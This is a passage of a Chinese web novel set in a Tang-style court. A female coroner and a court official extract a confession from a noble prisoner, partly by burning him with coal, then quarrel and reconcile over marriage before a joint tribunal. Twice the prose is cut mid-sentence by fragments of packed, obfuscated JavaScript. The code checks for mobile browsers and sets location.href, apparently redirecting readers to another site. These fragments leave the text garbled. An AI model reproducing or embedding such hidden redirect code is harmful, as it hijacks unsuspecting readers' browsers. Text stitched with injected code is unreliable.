薛嘉玉跟着裴砚一同离开厢房,期间,裴砚怕她着凉,还特地让小厮拿了一个暖手炉过来。 本就被披风包裹得严严实实的薛嘉玉如今又有了暖手炉在怀,根本就感受不到一丝寒意。 二人穿过人来人往的集市,来到门可罗雀的大理寺,他们与守在门口的金羽汇合,不需他问,金羽便主动将陈祺的情况报告给他。 “陈祺他不肯把这些年来所有的罪行全部招出,还嚷嚷着他陈氏是名门望族,是有开国功勋的,圣上不应该这么对待他。” 裴砚早就料到了会是这样的结局,他敛了敛眉,单手背在身后,另一只手则是曲在身前,“他不肯招认便就算了,反正陈昭豢养私妓案和薛家灭门案都有明确的证据,只要崔景天他俩能把那件事办好,就不会出任何差池。” 薛嘉玉跟在他的身边没有发话,其实她今日来牢狱也并非是来审问陈祺的,因为她想知道的都已经得到答案了,她只是想来看看陈祺如今的惨状。 她不是个什么圣人,面对跟自己有着深仇大恨的人,薛嘉玉只想奚落他,不会看在他被严刑拷打得不剩一片完整无暇的肌肤的面上,对他产生任何的同情和不忍心。 她就是要眼睁睁地看着陈祺受刑,然后被斩首示众。 这样,她的心里面才爽快。 三人穿过重重回廊,才来到了关押着陈祺的监牢,陈祺享受着和别人不一样的特殊待遇,他的牢房门口还有两位小吏守着,专门陪着他。 小吏见大理寺少卿来了,连忙用钥匙将门锁打开,接着弯腰做出一个“请”的姿势,薛嘉玉先行踏进了牢房,地上的干草被她干净整洁的鞋子踩得咔咔直响。 陈祺双臂展开,两个手腕都被铁链铐着,双脚离地,他的身上不见往日那身光鲜亮丽,如今身上的麻布囚衣倒是显得他极为落魄,他的四肢都有各式各样的伤痕,有被鞭子抽的,有被碳烫伤的,还有被刀刺的。 总之,可以从这些触目惊心的伤痕中看出来陈祺遭遇了怎样的酷刑。 不过,这都是他罪有应得。 真要较真起来,这些酷刑还远远不够,根本不足以让那些遭到过他压迫的平民百姓得到慰藉。 陈祺听见有人来了,便懒懒地掀起眼皮,瞅见是薛嘉玉来了,他的嘴角勾起一抹讽刺的笑容,“啧,要是当年我把你弄死了,也就没今天这么多事儿了。” “可惜,事实是我没死。” 说着,薛嘉玉拿起旁边的钳子,夹起一块滚烫的煤炭,她将煤炭在陈祺的眼前晃了晃,碳灰自觉地掉在了他的身上,虽然不至于在他的皮肤上形成烧伤,但烫呼呼的碳灰落在皮开肉绽的伤口上也不好受。 陈祺皱紧眉头,从嘴里发出了极为痛苦的声音,他疼得浑身上下的肌肉都缩紧了,“你想做什么?公报私仇?” 他痛苦地抬起头,视线在薛嘉玉和裴砚二人身上逡巡了一遍,“万万没想到,你们两个人居然勾结在一起对付我。这次是我疏忽大意了,本以为你一介女流,翻不起什么风浪,没曾想你竟然能有傍上裴家的手段。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271483|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >听见他这般折辱自己,薛嘉玉心中却并没有什么波澜,她垂下手臂,“我自然不可能做出公报私仇这种事儿,毕竟这要是传出去了,对裴少卿的名声也不利。我是想来问问你,陈昭豢养私妓的事情,你知道吗?” 陈祺从鼻腔里哼了一声,只从嘴巴里吐出了四个字,“我不知道。” “你不知道?”薛嘉玉好笑地反问了一句,“你怎么会不知道呢?就在你楼上关着的陈昭说这件事情是你教他的,还说金陵会有人保着你们俩。不说出实话,在这儿可没好日子过。” 话音刚落,牢房里面就响起一阵细微的滋滋声,像是猪肉被放进热油锅里面冒出来的那种声音,同时还伴随着陈祺那道撕心裂肺的喊叫声。 是薛嘉玉将烫呼呼的碳放在了陈祺肚子上那道鲜血直流的伤疤上,伤疤附近的那块皮肤很快就变得糊糊的,一股烧焦的味道弥漫进每个人的鼻腔。 陈祺疼得大汗淋漓,他不停地喘息着,胸腔大幅度地上下浮动。 她把钳子放回原处,“这样一来便就不算是公报私仇了。” 裴砚瞧着陈祺似乎是快要被痛晕过去了,连忙冲着一旁候着的小吏招了招手,小吏立刻心领神会,拎起脚边还剩有半桶冷水的木桶,朝着陈祺猛地浇了过去。 冰冷刺骨的水一下子就把陈祺浇醒了,水滴顺着他的皮肤一滴一滴地滑落,接着毫不留情地渗进了他的伤口里面,陈祺这下可算是真正清醒了,急忙打起十二分精神,生怕又被泼冷水。 裴砚走上前,冷声道:“陈祺,就算你不肯说,你那没骨气的好孙子也会全都给你招得明明白白的。圣上说了,此案案情重大,当三司会审,圣上也会亲自参与。你在这儿打感情牌是没有用的,若想要保住你陈氏其他男丁女眷,就把所有的事情交代出来,否则兴许会落得诛九族的下场。” 薛嘉玉顺道补充了一句,“你不交代,你就绝后了。” 多么杀人诛心的一句话。 陈祺一向都很看重传宗接代这件事情,况且他只有陈昭这么一个孙子,即使陈昭是个没用的东西,但他毕竟是陈祺唯一的孙儿,他这一代的香火还得靠陈昭来传承呢。 若是陈昭也被判了斩立决,那陈祺这么多年的忙活都是为了什么? 没有后代,财富和名声就无法传承,那他也将一辈子都比不上弟弟。 他咬牙切齿道:“行,我可以说,但你必须保下陈昭地性命。” 裴砚不是一个出尔反尔的人,“我答应你。” 陈祺将自己这几十年来做过的恶一五一十地说了出来。 强抢民女、搜刮民脂民膏、动用私刑、豢养私妓、结党营私。 这些罪名,单拎一个出来,再不济都会落得个抄家的下场。 更何况还是五罪并罚。 书吏将这些全都一字不落地记录在册。 裴砚瞧着这里暗无天日,血腥味还重,不忍薛嘉玉在这里多待,于是便把她从这里带走。 路上,他发觉薛嘉玉有些心事重重,好奇一问:“怎么了?在想什么?” “我想到了我们俩初次见面的那一日。” 几个月前,他们第一次见面就是在这阴暗潮湿的牢狱里,当时她被严司直用鞭子甩得皮开肉绽,为了洗刷嫌疑,便向他主动提出验尸。 那个时候,裴砚只以为她是一个脑子比较灵活,胆量比较大的小娘子,虽然她主动搭上自己的时候,裴砚也怀疑过她的用意,但没想到她的身上竟然背负了这样的血海深仇。 他有些散漫地调侃:“当时还得亏我救了你呢,说起来,你还从来没味这事儿感谢过我。” 薛嘉玉哼了一声,用手指捏了一下他的腰,“就算你不来,我自己也能解决。再说了,还不是你把我打入大牢的,我没怪你都不错了,你还好意思厚着脸皮来讨赏?” 明明是被指责了,可裴砚却忍不住笑了一声,他丝毫不顾忌这里是大理寺,直接一把揽住她的腰肢,懒懒道:“我那还不是按流程办事儿嘛。为了补偿你,一会儿带你去集市上买些好吃的行吗?这次给你买两杯香饮子。” 两杯香饮子的诱惑力固然很大,只是薛嘉玉现如今还有一件更为重要的事情要去办。 62. 全然知晓 薛嘉玉只留下了一句“我还有点别的事要办”,就匆匆离开了这里,裴砚望着人群中那一抹蓝色的身影,摇了摇头,随后便吩咐金羽去集市上买点好吃的好喝的。 她急急忙忙地跑到崔府,那崔府守门的小厮还记得她,没等她自报家门,小厮就已进去通传崔景天了。 崔景天听说了她受伤的事情,但这几日忙着做裴砚交代给她的事情,还没腾出时间去看她,听小厮说她自己来了,崔景天连忙放下手里的书卷,提起裙子朝着门外跑去。 她一瞧见薛嘉玉,就对着她摸上摸下的,好似是在亲自检查薛嘉玉哪里受伤了,瞧见她人还算活蹦乱跳的,崔景天也终于可以松口气了。 崔景天一把将她抱住,“你可吓死我了!你怎么能一个人去招惹陈祺呢?怎么一点也不把自个儿的小命放在首位?” 薛嘉玉急忙安抚她焦急的情绪,她张开双臂,在崔景天面前噔噔噔地转了一圈,含笑道:“你看我这不是什么事儿都没有嘛,你就不用这么担心了。” 崔景天冲着她做了一个嗔怪的表情,旋即又把视线挪到了四面八方去,狐疑道:“怎么就你一个人来?裴砚呢?你受了伤,他怎么也不陪陪你?” “是我把他打发走的,跟他无关。” 说着,她抿了抿嘴,“我今日前来是为了还钱的,如今我只凑到了一百两,剩余的四百两……估计得要再等等了。这一百两我随后就差人给你送来,你放心,那四百两我定会尽快凑到的。” 听及此,崔景天的脸上蓦地浮现出一丝迟疑,她脸上的表情僵了僵,嘴巴一张一合,但就是没说出个完整的字来。 薛嘉玉看出来了她的异样,心里顿时变得七上八下起来,忐忑地开口:“怎么了?” 崔景天咬着下嘴唇,黛眉微微皱起,似乎很是纠结,随后她咬咬牙,还是说了实话,“其实这笔钱裴砚已经替你还给我了。” “什么?裴砚怎么知道此事的?” 薛嘉玉自以为这件事情她藏得很是完美,想不通自己到底哪里露了马脚。 只听她把那日在钱庄里发生的事情娓娓道来,“那日我去钱庄的时候碰巧撞见了陈晟和裴砚,他们见我一次性取这么多黄金,便顺口问了一嘴,我就说是拿给别人应急的,结果裴砚一下子就猜到是你借的。我没办法,只得说出实话。” 原来如此。 薛嘉玉登时又想起一件事情,她怀疑当时裴砚是故意带她去赌坊的,也是故意让金羽藏拙的,否则她哪儿来的狗屎运翻盘? 他故意输钱给自己,是为了让她好还钱? 那他又为什么要亲自还呢? 对于裴砚这个人,薛嘉玉有些捉摸不透。 崔景天怕她责怪自己没有守住秘密,为了哄她开心,于是跟她讲了一个裴砚幼时的糗事。 “阿玉,你知道吗,裴砚还在孩提的时候,经常尿床,等到了垂髫之际才慢慢好转了。以后他要是对你不好,你便拿这个糗事去威胁他,裴砚一向最不喜别人提起他幼时尿床以及出恭的时候掉进茅房里面的事情。” 知道平日里威风凛凛的裴砚居然也有这么傻乎乎的时候,薛嘉玉忍不住噗嗤一声笑了出来,她单手遮掩住嘴巴,凑到她的耳畔前,多问了一嘴,“那这些事情你是怎么知道的啊?” 提起这个,崔景天未语人先笑,“是他惹了从瑜兄长生气,从瑜兄长为了报复他,就把这些事儿啊悄悄讲给我们听,恐怕这么些年过去了,裴砚都还不知道我们知晓这些事儿呢。” 知晓是这么一回事后,薛嘉玉的脸颊都快要笑僵了。 不曾想他们兄弟二人幼时竟也有如此幼稚的时候,真不愧是亲兄弟。 薛嘉玉着急着回府问问裴砚这一切到底是怎么回事,便也只同崔景天简单寒暄了几句,就步履匆匆地走回裴府了。 一踏进府门,就见裴砚端着一杯香饮子和一个烤馍馍走了过来,他把热乎乎的烤馍馍塞进薛嘉玉的手心里,“快趁热吃吧,这一次可是给你买了两杯香饮子,可勿要在长嫂面前说我的坏话了。” 她低头看了眼冒着热气的烤馍馍,馍馍又大又圆,里面的肉馅仿佛都要把外面那层脆皮给撑破了,薛嘉玉的手指不禁捏紧了几分,“文溪,你为何要替我还那五百两黄金?” 裴砚早知此时迟早要东窗事发,毕竟崔景天那张嘴巴是个没把门的。 “若是让你自己还这五百两黄金,你岂不是要一直还到两鬓斑白?你就当这五百两黄金是我备下的聘礼的一部分吧。” “文溪,我还没有答应要嫁给你,甚至我从来就没有要嫁人的打算。你真的很好很好,对我总是很包容,包括长嫂和兄长,裴府里的每一个人都对我很好。但若是我嫁给你了,那我就是臣妇,一言一行都须小心翼翼,事事都要三思而后行。” 说到这里,薛嘉玉顿觉喉间一哽,鼻头有些发酸,“况且,我觉得自从和你在一起之后,我就变得越来越依赖你了,可我不想事事依赖他人,我不想把你当成一个可以随时随地依靠或者利用的人,我只想把你当做知我懂我的知音。” 说罢,她将手里的馍馍塞回了裴砚手里,迈步绕过他的身子,可薛嘉玉的手腕却被身边的人握住,裴砚的力度并不大,稍微用力便能挣脱。 裴砚偏头看向她,“那我下次提前征询你的意见好吗?不要置气了,吃点东西吧,莫要饿着了。” 薛嘉玉轻而易举地挣脱了他的束缚,她低着头不敢看他,“文溪,我想对我们之间的关系再深思熟虑一下。” 她都已经将话说到了这个地步,那裴砚还有什么理由不放开她? 裴砚只是想要帮帮她而已,想让她过好日子,本以为她嫁给自己是指日可待的一件事情,没想到她根本就没想过要嫁给自己。 他的眸中不禁划过一丝伤感和无奈,招呼旁边的小厮将那些吃食送到薛嘉玉厢房里去。 薛嘉玉将厢房的门锁上,她坐在红木凳子上,两只手捧着脸颊,眉头紧紧皱在一起,一滴滴清泪从眼头滑落,顺着脸颊滴到了桌子上。 她还没想好,没有做足心理准备,薛嘉玉知道那些女子一旦嫁进高门大户,成了臣妇之后,就得要舍弃掉自己的生活。 更何况薛嘉玉还是一名仵作,有了这一层身份加持,她和裴家定会成为别人的饭后谈资。 就算裴家不介意又如何?别人一口一口的唾沫星子累计起来也能淹死她。 她如今也不知道应该如何面对裴砚了。 既想干好仵作的活儿,又想和心上人共白头,却难两全。 薛嘉玉垂眸,将目光落在了腰间的白虎玉佩上,她取下这枚玉佩,大拇指指腹在上面来回摩挲着,旋即双手合十,将玉佩含在手心,她阖上双眼,在心里面向佛祖发问: 菩萨在上,此事安能有两全法?阿玉孤苦伶仃,此生惟愿能够靠仵作一活儿扫清天下冤屈,再无他愿,可裴家家大业大,枝繁叶茂,嫁给裴砚当真能够幸福? 这时,门口忽然间响起一阵轻轻的叩门声。 薛嘉玉连忙把玉佩揣进袖子里,她用袖子拭去眼泪,缓步走到门前,透过四直方格眼看向外头那位侧靠在门上的小郎君。 “何事?”她的嗓音中有难以掩藏的哭腔。 裴砚自然是听得出来。 他将手掌心放在门上,往里面推了推,却发现门被锁住了,裴砚无奈地收回手,他的语气格外冷静,“不肯给我开门的话,就站在门边听我说一会儿吧。” “阿玉,我知道从前我的一些行为可能让你误以为我是在逼你与我成婚,但我绝对不会这么做。我不知道你原来并不想嫁给我……” 说到这里,裴砚不禁哽咽了一下,他一个八尺男儿都十几年没有哭过了,不曾想有一日竟也会为情所困,他强行遮掩自己的情绪,不想把这种坏情绪带给她。 他继续说:“你不想嫁给我便罢了,无人敢勉强你,毕竟这是关乎你一辈子的大事儿,是应该好好斟酌一下,万一我不是那个对的郎君呢?至于你说的依靠,你不喜欢我这么做,我下次就不这样做了,我只是不忍心看你为了还债,把自己所有值钱的东西都拿去卖了。” 裴砚的视线不受控地投向门上那小小的缝隙,想要看清楚里面的人是什么样的表情,他的嘴角挤出一丝笑容,“我还有些事情要忙,今夜就不待在府里面了。你记得用膳,晚上早点休息,被子要盖严实,免得着凉。” 丢下这句话后,裴砚就迈着步子迅速离开了这里,薛嘉玉推开门的时候,他已然走远了。 正要关上门的时候,侍女忽然间端着餐盘走了上来,她朝着薛嘉玉行了一屈膝礼,“薛娘子,这是裴少卿吩咐我们一定要交给你的晚膳。” 薛嘉玉看向那餐盘上的碗碟,有烤馍馍、翡翠蒸饺、南瓜饼和两杯香饮子,这些都是裴砚在集市上面买来的,也是她平日里喜欢吃的甜点。 她的视线定在那两杯香饮子上,薛嘉玉不禁想:他怎么总是对自己这么好?为什么总是能够记下她无意间说出来的某一句话? 薛嘉玉不想为难侍女,伸出两只手接过餐盘,“好,我知道了。” 她转身进了自己厢房,轻轻地把餐盘放在 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裴珩没有多问,侧了侧身,“进来吧。” 蒋宁显瞅见是她进来了,脸上并无什么波澜,好似早已料到薛嘉玉会来见她,她放下手里的梳子,冲着薛嘉玉招了招手,旋即将视线挪到裴珩身上,“从瑜,你先出去回避一下吧。” 他微微颔首,没有多言,转身将门带上。 她给薛嘉玉找来一根板凳,用手掌心拍了拍板凳,“坐吧。你来找我可是因为和文溪吵架了?” “长嫂,你怎么知道?” 蒋宁显莞尔一笑,她是过来人,况且恋爱中的人情绪都是表现得相当明显的,就连裴珩这种木鱼脑袋都看出来了,她怎么可能看不出来? “方才我瞧见文溪眼眶都红了,就知道你们俩闹矛盾了。说实话,自我嫁进裴府以来,就没有见过文溪如此伤心的时刻。虽然我并不知道你们是因为什么闹了矛盾,但我觉得你们都应该要坦诚相待,心里面怎么想的就怎么说,不要打着保护对方的幌子欺骗对方。” 薛嘉玉有些难以想象裴砚眼眶绯红的模样,在她眼里,像裴砚这种一生都顺风顺水的人,是不会为了别人暗自神伤的。 “其实我们也不算是闹矛盾了,我只是不想过多的依赖他,而且我不想因为跟他成了婚,我的家世就成为了别人的饭后谈资。所以我就开始犹豫了,可文溪误以为我从始至终都不想嫁给他,我不知道该怎么做决定了。” 蒋宁显能够理解这种小心思,毕竟她出嫁前也曾有过这种顾虑,她怕这种联姻会导致生活不睦,从而落下话柄,甚至在出嫁的前一天,她还密谋着要不要逃婚。 她拍了拍薛嘉玉的手背,“这种顾虑是再正常不过的了。但其实很多时候家庭不睦或者让别人家对自家事情议论纷纷,都跟丈夫的不作为有关。文溪人品不错,只是有时候性子和裴珩一样倔,但客观而言,他确实是个值得托付的好郎君。” 对于裴砚的人品,薛嘉玉是再放心不过的了,她自然晓得嫁给裴砚,事受不了多少委屈的,至少不至于像其他夫人一样要同好几房的妾室共处一宅。 蒋宁显看得出来她脸上的迟疑,她猜薛嘉玉之所以这么犹豫这门亲事,是因为她是一个孤女,她没有亲人,若是受了委屈,都没有娘家人能够为她撑腰。 虽说她自己也有一处陋室,但没有亲人在,也就失了一分温暖。 “文溪这小子此前没有遇见过心爱的小女娘,第一次碰着了自己的心上人,难免有些莽撞和冒进,就想着快些把她娶进家门,兴许会让你感觉到他是在逼着你似的。” 说到这里,蒋宁显一把握住她的手心,“不过你放心,倘若你不愿嫁给文溪,长嫂也定是站在你这边的。这事儿你定要好好想清楚,否则可没什么反悔的余地。” 薛嘉玉乖乖地点点头,“好,我明白了,长嫂。” 从蒋宁显的房里出来后,薛嘉玉就心事重重的,她觉得蒋宁显所说确有道理,应该先跟他坦诚相待以后再做决定。 于是,她披上毛绒绒的披风,撑着伞离开裴府,穿过黑夜和熙熙攘攘的人群,按照脑中的记忆,来到了裴砚家门口。 她刚走上台阶,将伞收起,就瞧见金羽从里头风尘仆仆地出来,金羽见她来了,两眼放光,如同看见了观世音菩萨一般。 “薛娘子,你可算来了,快去瞧瞧郎君吧,他心情似乎特别不好。” 金羽都怕裴砚要是整日这样消沉下去,不日便会郁郁而终的! 63. 哄你 薛嘉玉听金羽说得好似还挺严重的,急忙加快脚步,跟着小厮来到书房门口,书房的木门虚掩着,夜里的寒风吹得木门来回摆动,发出刺耳的吱呀声。 小厮把人带到之后,便识趣地退下了。 她立在门口,透过那道狭窄的缝隙往里面瞧,只见里面的裴砚安安静静地坐在椅子上,手里拿着一本卷宗。 至于有没有看进去,那就只有裴砚自个儿知道了。 薛嘉玉没有敲门,将掌心贴在门上,动作轻柔地往里推了一下,她迈着步子往里面走,没有发出任何一丝脚步声,却还是被裴砚发现了。 看见她出现在书房的那一瞬,裴砚的脸上划过一丝诧异,他放下手里的书卷,“这么晚了不睡,跑我这儿来做什么?” “我是想跟你说,我并非是从来没有考虑过你我的婚事的,只是我怕和你成婚之后,别人会拿我的家世大做文章,也担心我无法继续干仵作的活儿。” 薛嘉玉靠在桌子边沿,两手撑着桌面,她留意到裴砚双眸通红,瞧着倒像是刚哭过的一样,她低着头看自己的脚尖,“是我之前没有和你说清楚,你不要再往心里面去了。” 裴砚原本那颗七上八下的心终于落地,他牵着薛嘉玉的手,“你大可放心,我不会让别人嚼你的舌根的,你也可以继续做你想做的,妻子这个身份不会限制你的。” “那你也要答应我,以后无论你为我做了什么事,都一定要告诉我,行吗?” 只要她肯答应嫁给自己,裴砚做什么让步都可以。 他点点头,顺着她的话往下说:“好,都听你的。” 下一刻,只见薛嘉玉弯下腰,吻了一下他的眼角,湿漉漉的让她忍不住多亲了一下,裴砚却顿觉有些丢脸。 “文溪,不要难过了好吗?” 裴砚用指腹轻轻摸了摸方才被亲过的地方,心想她肯定是发现自己的不对劲了才这么做的,他只觉得好生丢脸,一个大男子在女娘面前哭算怎么一回事? 他再次试探性地询问:“所以说,你是真的想好要嫁给我了吗?” 薛嘉玉点点头,“嗯”了一声,旋即两腿分开,坐在裴砚的大腿上,她两手环住裴砚劲瘦有力的腰肢,扬起脑袋看他,“自然是想好了,绝不反悔。” 裴砚单手揽住她的腰,顺便掐了一下她腰上的肉,“怎么一点儿也没长胖?” “我怎么知道?我吃得挺多的。” 话音刚落,屋内就回响起了一阵咕噜咕噜的声音,是从薛嘉玉的肚子里头发出来的。 薛嘉玉略有些尴尬地用双手捂住自己的肚子,将头偏过去,不时地偷偷瞟他一眼。 裴砚一眼便看出她肯定是没用晚膳,他心中登时有些无奈,“我去让小厨房给你做点吃的。” “不,我要你给我做。” 他拿薛嘉玉没有办法,只得顺着她,“好,我给你煮面吃。” 薛嘉玉从他身上起来,裴砚站起身来,牵着她的手心,和她一块儿来到小厨房。 这小裴府他都已经好久没有回来住过了,小厨房里面也没什么食材,灶台上还落着一层薄薄的灰,正座府邸都没充斥着人味儿。 她本来是想要帮忙打下手的,可是裴砚却让她在旁边看着,薛嘉玉无奈只得站在一旁,观赏裴少卿下厨。 “文溪,何时进行三司会审啊?” “后天。” 裴砚将一把面撒进热汤里面,接着用筷子伸进热汤里面去和了和,面条很快就不再缠在一起了,热腾腾的水汽扑面而来,裴砚的整张脸都快要被蒸熟了。 瞧着面条煮得差不多了,就用筷子将面条一一夹进他淘来的古董碗里面去,随后用勺子舀了两勺热汤,浇在白花花的面条上,最后才将调料放进碗里和好。 薛嘉玉从他手里接过面碗,她盯着那着色不匀的面条,有一句话不知当说不当说,良久她才迟疑道:“文溪,你为什么不先放调料,再放面?” 裴砚垂眸瞧了眼一片红一片白的面条,“你先去堂屋,我再给你弄一次。” 她不忍心看这么大一碗面条被浪费,打算冒着必死无疑的决心,把这一碗面条吃了。 “罢了,这碗面也不是不可以吃,别浪费了。” 薛嘉玉端着烫呼呼的碗,大步流星地来到堂屋,她把面碗放在桌子上,用被烫得红通通的手摸了摸冰冰凉凉的耳尖,她坐在椅子上,抄起筷子,把看着毫无特色的面条卷在筷子上面,接着张大嘴巴,一口吞了进去。 虽说这面条看起来毫无食欲,但其实吃进去倒还觉得可以,至少没有到难以下咽的地步,薛嘉玉也能安心地吃下去了。 裴砚坐在她的对面,看她吃了一口后又接着吃了一口,忐忑不安的心也终于平稳下来,他缓缓从嘴里舒了口气。 “阿玉,不妨……我做赘婿吧?” “噗!” 薛嘉玉嘴里含着的面汤忽然喷了一些出来,她连忙用手放在下巴下面接住不断滑落的汤水,赶忙将嘴里剩余的面汤吞了进去,继而问:“你说什么?你要做倒插门?我可出不起那么多的聘礼。” 这件事情,裴砚也是深思熟虑过的。 “不用你出聘礼,我做赘婿,是想让你更加安心一些。这样一来,倘若日后和离,那也是我背负骂名,没有人敢瞧不起你的。” 她连忙摆摆手,“罢了罢了,我那小破屋可迎不进那么多的宾客。再者,就算你这么做是为了我好,可是也堵不住悠悠众口啊,人心难测,思想这玩意儿又是根深蒂固的,唯有我们把日子过好,才能让别人少些议论。” 这些事情,裴砚都听她的,他连连点头,“好,都听你的。” 薛嘉玉唰的一下就把碗里面的面条全都洗劫一空,甚至还把面汤给喝得干干净净,一滴不剩,想来她确实是饿极了。 裴砚自觉地将碗筷收拾好,他瞧着此刻天色已晚,试探道:“今夜不妨留下来?” 她登时起了逗他的心思,双手抱在胸前,故意道:“不要,留在这儿休憩,若是被他人瞧见了,那我的名声可怎么办?裴大人。” 他把碗筷交给刚从外头办完事儿回来的金羽,裴砚将椅子拉到薛嘉玉身边坐下,没个正形地回应:“被瞅见了那就直接宣布我们二人的婚约,定能成为一代佳话。” 薛嘉玉暗道:此人怎可如此不要脸皮? 她伸出食指,杵在裴砚的眉心上,狠狠地戳了一下,“你这人真是没个正形,还一代佳话呢!” 裴砚一把握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她从椅子上站起来,打算先去洗漱,可刚迈出一步,手腕就被身后的裴砚轻轻扣住,薛嘉玉顿步回首,“怎么了?” “你还记得当时斜阳山上的另外一个不知名男性吗?那个人是陈昭的侍卫,但是我们如今还未问出陈昭为何要帮助王夫人杀掉王诗。” 斜阳山上的事情分明才发生在四个多月前,可为什么她却觉得像是过了很久很久,薛嘉玉的思绪飘散到四个多月前,只记得那侍卫让王夫人把她处理得干净一些,其实这个人的身份她在金陵的时候也已发现,只是当时只顾着忙金陵案了,都忘记去揪这件事情。 但现在去揪这件事儿也没什么意义了,王诗和王夫人都已在地府想见,而王郃和新婚妻子正过着神仙般潇洒快活的日子,就算得知了王夫人和陈昭有关系,又有谁关心呢? “问不出来也不打紧,反正当初王夫人自个儿也没招,如今也不会有人再去关心更深一层的事儿了。” 裴砚松开她的手腕,眸中似乎带着些许期许,“那你今晚若要留宿的话,就去我屋里睡吧,别的厢房都没收拾过。” “那你可不要晚上偷偷溜进来。” 64. 三司会审 一晃便到了三司会审这一天,三司会审已是十几年来都未曾有过的稀罕事儿了,因此有不少百姓都在好奇陈氏会是什么样的下场。 裴砚将陈祺祖孙俩带出来的时候,百姓们都纷纷围在大理寺两侧,臂弯里挎着个竹篮子,从里面掏出今早特地去集市买的菜叶子和鸡蛋,狠狠地砸在这两个人面兽心的狗东西身上。 不一会儿,这祖孙俩就被砸得蓬头垢面,甚至走在前面的裴砚还一不小心被菜叶子给误伤了,关键是他被莫名其妙打了一下不说,薛嘉玉还拿着那片不长眼的菜叶子笑话他。 陈祺和陈昭二人皆身着脏兮兮的囚衣,两手双脚都被用铁链铐住,身后还有两个狱卒看守,可谓是极为的有排面,他们俩被裴砚送上了平板车上的铁笼里面,驴刚开始往前面走了几步,那陈氏的女眷就提着裙摆跑了过来,两手紧紧握住铁笼,看着里面的亲人,不禁潸然泪下。 她将自己的手强行伸进铁笼里面,在空气中乱抓,嗓音中带着无法掩饰的哭腔,“昭儿,来,牵住娘的手,娘会等你回来的啊。” 陈昭握住那只苍老的手,“娘,你快回去吧。” 裴砚有些看不下去,他将视线投到身旁的这位妇人身上,她浑身上下没有多少名贵之物,面相和蔼,还真有些看不出来她是陈昭这种丧尽天良的人的母亲。 “钱夫人,还请回府吧,若是耽搁了三司会审的时间,想必定会引得圣上龙颜大怒的。” 钱夫人早年丧夫,所有希望都寄托在了陈昭一人身上,可以这么说,陈昭是她活下去的精神支柱,要是圣上判了他死罪,那她还怎么活得下去? 她依依不舍地望着滚滚前行的驴车,与她的昭儿越隔越远,钱夫人只希望圣上能够看在陈氏为开国立下了汗马功劳的份上,能够放他一条活路。 裴砚和薛嘉玉先后上了马车,她昨夜没怎么睡好,今早又太早起床,所以她现在昏昏欲睡,感觉一闭上眼睛,就能直接睡着。 裴砚看她时不时眨巴眨巴两下眼睛,脑袋一点一点的,莫名觉得她十分可爱,他握住薛嘉玉的肩头,将她放倒在自己的腿上睡觉,薛嘉玉迷迷糊糊地就枕在他的大腿上睡着了,甚至还流了几滴口水在他的官服上。 他掏出手帕给薛嘉玉擦了擦嘴角的口水,旋即给她翻了个面,让她仰着睡觉,这样一来他的官服就不用再受到口水的摧残了。 薛嘉玉这一觉睡得特别安稳,她醒来时,马车已然驶进了宫门,她从裴砚的大腿上蹭起来,伸了个懒腰,随后撩起蓝色的帘子,看向四方格窗户外的世界。 今年的春天来得比往年早了许多,这才刚至二月份,春雪就已渐渐消退,取而代之的是即将萌芽的春意。 枯树逢春,枝头生芽,野花含苞待放,青草郁郁丛生,百姓生于安乐,长安歌舞升平,一派热闹繁华景象。 她也莫名地更加期待这新的一年。 薛嘉玉将帘子整理好,一想到一会儿就要进殿面见圣上和朝臣,她心中难免有些紧张,转过头来询问裴砚:“文溪,你快帮我看看我的仪容怎么样?” 在裴砚眼里,无论她打扮与否,她都是最好看的那一位小女娘,唇红齿白,皮肤也不似曾经那般干瘪发黄,身上也长了点儿肉,浑然是一副健康的模样,而裴砚正是喜欢她这副健康无虞的样子。 “很好,你不必紧张,圣上挺平易近人的。” 在薛嘉玉的印象中,皇帝都是不怒自威的,一旦触及天子逆鳞,那么小命恐怕就保不住了,不过太宗皇帝就是个例外,他广开言路,好让群臣们敢于直谏,而太宗也从不怪罪他们,反倒是认真听取,这才铸就了一大盛世。 “你觉得圣上平易近人,那是因为你是皇亲贵胄。” 这句话说得确实没错,毕竟算起来,裴砚与圣人也算是表兄弟,自小便一块儿长大,不过圣人被立为太子之后,便就不能那么随心所欲地出宫去玩儿了,只能裴砚偶尔去宫里找他。 不过圣人登基之前就常常与其他世家公子围在一起寻欢作乐,一点儿也看不出来这是天龙之子,所以哪怕圣人登基以后,那些和他关系甚密的好友在私下依旧会称呼他为三郎,而非圣人。 裴砚两手握住她冰凉的左手,“你且放宽心,待会儿你该怎么说就怎么说,这不还有我在嘛。等三司会审结束以后,你随我一块儿去面见圣上,让他给我们赐个婚?” “啊?赐婚?不用这么麻烦吧,不可以直接交换婚帖吗?” “就当沾一沾圣人的喜气,可好?” 薛嘉玉想着赐婚应该也没什么,便就答应了下来。 马车不能直接停在太和殿门口,于是二人一同下了马车,一块儿在宫人的带领下走过去。 这时候的裴砚比平常之后正经了不少,她跟在他的身旁,偷偷抬眼看他,只见他面若冰霜,脑袋上戴着黑色幞头,后面的两个尾巴耷拉着,又身着红色圆领官袍,不仅衬得人皮肤白皙,还显得他更加玉树临风了不少。 薛嘉玉忽然发现自己确实是捡到宝贝了,能和这般芝兰玉树的郎君携手共度余生,倒确实是一件美事,光是每日瞧着他那副难得的好皮囊,薛嘉玉的心情都登时好了不少,指不定以后还能多活几岁呢。 二人来到威严肃穆的太极殿门口,大门敞开,两位内侍守在门口,里头群臣肃立,无人敢打瞌睡。 